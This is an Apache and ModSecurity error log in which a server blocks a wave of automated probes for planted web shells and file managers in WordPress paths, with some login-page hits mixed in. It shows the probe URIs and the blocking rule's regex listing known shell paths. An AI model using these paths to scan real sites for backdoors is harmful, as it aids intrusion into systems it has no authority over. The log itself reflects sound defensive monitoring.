[Tue Feb 24 02:44:30.641844 2026] [:error] [pid 29291:tid 29407] [client 37.140.254.135:51109] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZygDj2gdpbMAXIIRb1_XAAAAJM"]
[Tue Feb 24 02:44:31.224181 2026] [:error] [pid 29291:tid 29398] [client 37.140.254.173:32235] [client 37.140.254.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aZygDz2gdpbMAXIIRb1_XgAAAIs"]
[Tue Feb 24 02:44:33.614232 2026] [:error] [pid 29291:tid 29395] [client 37.140.254.147:27579] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aZygET2gdpbMAXIIRb1_bgAAAIg"]
[Tue Feb 24 02:44:34.836525 2026] [proxy_fcgi:error] [pid 60063:tid 60089] [client 37.140.254.144:47299] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:44:35.442829 2026] [:error] [pid 60063:tid 60084] [client 37.140.254.144:47299] [client 37.140.254.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aZygE0_6t1uQomVVdUOJYgAAARM"]
[Tue Feb 24 02:44:35.991000 2026] [:error] [pid 60063:tid 60082] [client 37.140.254.131:54599] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aZygE0_6t1uQomVVdUOJZQAAARE"]
[Tue Feb 24 02:44:37.260186 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.176:25569] [client 37.140.254.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZygFU_6t1uQomVVdUOJbQAAAQg"]
[Tue Feb 24 02:44:37.886953 2026] [:error] [pid 29424:tid 29442] [client 37.140.254.148:40047] [client 37.140.254.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aZygFfgElGDq6B8YX7B5cgAAANA"]
[Tue Feb 24 02:44:40.633621 2026] [:error] [pid 29424:tid 29427] [client 37.140.254.170:45617] [client 37.140.254.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aZygGPgElGDq6B8YX7B5iQAAAME"]
[Tue Feb 24 02:44:41.264718 2026] [:error] [pid 29289:tid 29293] [client 37.140.254.134:54999] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aZygGfSAX3I9FAhm7jnQ9wAAAAA"]
[Tue Feb 24 02:44:43.109899 2026] [:error] [pid 29424:tid 29441] [client 37.140.254.158:44373] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aZygG_gElGDq6B8YX7B5jwAAAM8"]
[Tue Feb 24 02:44:44.794156 2026] [:error] [pid 29424:tid 29426] [client 37.140.254.147:26801] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZygHPgElGDq6B8YX7B5kAAAAMA"]
[Tue Feb 24 02:44:46.286923 2026] [:error] [pid 60063:tid 60077] [client 37.140.254.163:64213] [client 37.140.254.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZygHk_6t1uQomVVdUOJeQAAAQw"]
[Tue Feb 24 02:44:48.536151 2026] [:error] [pid 29291:tid 29406] [client 37.140.254.159:58499] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aZygID2gdpbMAXIIRb1_fQAAAJI"]
[Tue Feb 24 02:44:49.457436 2026] [:error] [pid 60063:tid 60067] [client 37.140.254.135:59433] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZygIU_6t1uQomVVdUOJhAAAAQI"]
[Tue Feb 24 02:44:53.157834 2026] [:error] [pid 29290:tid 29370] [client 37.140.254.163:49529] [client 37.140.254.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.163, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aZygJSURJ6Xg7pEW8XYodAAAAEw"]
[Tue Feb 24 02:44:54.976442 2026] [:error] [pid 29290:tid 29374] [client 37.140.254.163:49529] [client 37.140.254.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aZygJiURJ6Xg7pEW8XYofgAAAFA"]
[Tue Feb 24 02:44:55.572266 2026] [:error] [pid 29291:tid 29405] [client 37.140.254.148:38925] [client 37.140.254.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.148, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aZygJz2gdpbMAXIIRb1_igAAAJE"]
[Tue Feb 24 02:44:59.148988 2026] [proxy_fcgi:error] [pid 29291:tid 29393] [client 37.140.254.148:38925] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:05.023579 2026] [:error] [pid 29291:tid 29398] [client 37.140.254.148:38925] [client 37.140.254.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aZygMT2gdpbMAXIIRb1_uwAAAIs"]
[Tue Feb 24 02:45:06.615524 2026] [:error] [pid 29424:tid 29439] [client 37.140.254.137:55363] [client 37.140.254.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZygMvgElGDq6B8YX7B5zQAAAM0"]
[Tue Feb 24 02:45:07.796947 2026] [:error] [pid 29424:tid 29443] [client 37.140.254.146:36085] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aZygM_gElGDq6B8YX7B53QAAANE"]
[Tue Feb 24 02:45:11.116143 2026] [:error] [pid 29289:tid 29298] [client 37.140.254.146:41345] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aZygN_SAX3I9FAhm7jnRLwAAAAU"]
[Tue Feb 24 02:45:12.598916 2026] [:error] [pid 29424:tid 29433] [client 37.140.254.139:45401] [client 37.140.254.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZygOPgElGDq6B8YX7B58gAAAMc"]
[Tue Feb 24 02:45:13.500975 2026] [:error] [pid 29289:tid 29316] [client 37.140.254.162:34493] [client 37.140.254.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aZygOfSAX3I9FAhm7jnRMQAAABc"]
[Tue Feb 24 02:45:15.289098 2026] [proxy_fcgi:error] [pid 60063:tid 60083] [client 37.140.254.158:52995] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:15.583991 2026] [proxy_fcgi:error] [pid 60063:tid 60088] [client 37.140.254.158:52995] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:15.885978 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.158:52995] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aZygO0_6t1uQomVVdUOJzQAAAQY"]
[Tue Feb 24 02:45:16.498596 2026] [:error] [pid 29290:tid 29369] [client 37.140.254.120:45973] [client 37.140.254.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aZygPCURJ6Xg7pEW8XYoiAAAAEs"]
[Tue Feb 24 02:45:19.350573 2026] [:error] [pid 60063:tid 60078] [client 37.140.254.157:48305] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aZygP0_6t1uQomVVdUOJ2QAAAQ0"]
[Tue Feb 24 02:45:20.228429 2026] [:error] [pid 29424:tid 29441] [client 37.140.254.159:23749] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aZygQPgElGDq6B8YX7B5-QAAAM8"]
[Tue Feb 24 02:45:21.491118 2026] [:error] [pid 29424:tid 29441] [client 37.140.254.159:23749] [client 37.140.254.159] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "145.239.71.147_ca3e4798e4432adf71505abe7359ea8b716985ff"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aZygQPgElGDq6B8YX7B5-QAAAM8"]
[Tue Feb 24 02:45:22.976753 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.157:53369] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aZygQk_6t1uQomVVdUOJ5AAAAQo"]
[Tue Feb 24 02:45:25.505929 2026] [:error] [pid 29291:tid 29412] [client 37.140.254.146:26149] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aZygRT2gdpbMAXIIRb1_0QAAAJc"]
[Tue Feb 24 02:45:26.135616 2026] [proxy_fcgi:error] [pid 29291:tid 29387] [client 37.140.254.152:40361] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:26.974742 2026] [:error] [pid 29291:tid 29388] [client 37.140.254.152:40361] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aZygRj2gdpbMAXIIRb1_2AAAAIE"]
[Tue Feb 24 02:45:28.995077 2026] [proxy_fcgi:error] [pid 29291:tid 29404] [client 37.140.254.178:54343] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:29.587668 2026] [:error] [pid 29291:tid 29412] [client 37.140.254.178:54343] [client 37.140.254.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.178, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aZygST2gdpbMAXIIRb1_8QAAAJc"]
[Tue Feb 24 02:45:31.404824 2026] [:error] [pid 29291:tid 29398] [client 37.140.254.178:54343] [client 37.140.254.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aZygSz2gdpbMAXIIRb1_9wAAAIs"]
[Tue Feb 24 02:45:32.313712 2026] [:error] [pid 29424:tid 29428] [client 37.140.254.158:28905] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aZygTPgElGDq6B8YX7B6AwAAAMI"]
[Tue Feb 24 02:45:35.374880 2026] [:error] [pid 29290:tid 29358] [client 37.140.254.157:44231] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aZygTyURJ6Xg7pEW8XYonAAAAEI"]
[Tue Feb 24 02:45:37.111727 2026] [:error] [pid 29289:tid 29308] [client 37.140.254.153:29093] [client 37.140.254.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aZygUfSAX3I9FAhm7jnRQwAAAA8"]
[Tue Feb 24 02:45:37.994674 2026] [:error] [pid 29289:tid 29296] [client 37.140.254.147:25503] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aZygUfSAX3I9FAhm7jnRSQAAAAM"]
[Tue Feb 24 02:45:39.501237 2026] [:error] [pid 29424:tid 29449] [client 37.140.254.113:24063] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aZygU_gElGDq6B8YX7B6HAAAANc"]
[Tue Feb 24 02:45:40.730347 2026] [proxy_fcgi:error] [pid 29424:tid 29447] [client 37.140.254.137:47913] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:41.029684 2026] [:error] [pid 29424:tid 29443] [client 37.140.254.137:47913] [client 37.140.254.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aZygVfgElGDq6B8YX7B6IgAAANE"]
[Tue Feb 24 02:45:41.956829 2026] [:error] [pid 29290:tid 29365] [client 37.140.254.130:39599] [client 37.140.254.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aZygVSURJ6Xg7pEW8XYoqQAAAEg"]
[Tue Feb 24 02:45:42.538642 2026] [:error] [pid 60063:tid 60082] [client 37.140.254.178:56165] [client 37.140.254.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aZygVk_6t1uQomVVdUOJ-AAAARE"]
[Tue Feb 24 02:45:43.110471 2026] [:error] [pid 29291:tid 29390] [client 37.140.254.164:37041] [client 37.140.254.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aZygVz2gdpbMAXIIRb2AAQAAAIM"]
[Tue Feb 24 02:45:43.785332 2026] [:error] [pid 29290:tid 29361] [client 37.140.254.115:24167] [client 37.140.254.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aZygVyURJ6Xg7pEW8XYoqgAAAEQ"]
[Tue Feb 24 02:45:44.380768 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.171:57225] [client 37.140.254.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aZygWE_6t1uQomVVdUOJ-QAAAQQ"]
[Tue Feb 24 02:45:44.913783 2026] [:error] [pid 29291:tid 29393] [client 37.140.254.121:23933] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aZygWD2gdpbMAXIIRb2ABwAAAIY"]
[Tue Feb 24 02:45:46.184727 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.147:39161] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aZygWk_6t1uQomVVdUOJ_QAAARY"]
[Tue Feb 24 02:45:46.727232 2026] [:error] [pid 29290:tid 29381] [client 37.140.254.150:40227] [client 37.140.254.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aZygWiURJ6Xg7pEW8XYorAAAAFc"]
[Tue Feb 24 02:45:47.339614 2026] [:error] [pid 29291:tid 29392] [client 37.140.254.131:38679] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aZygWz2gdpbMAXIIRb2ADgAAAIU"]
[Tue Feb 24 02:45:48.198809 2026] [:error] [pid 29424:tid 29428] [client 37.140.254.170:60565] [client 37.140.254.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aZygXPgElGDq6B8YX7B6LwAAAMI"]
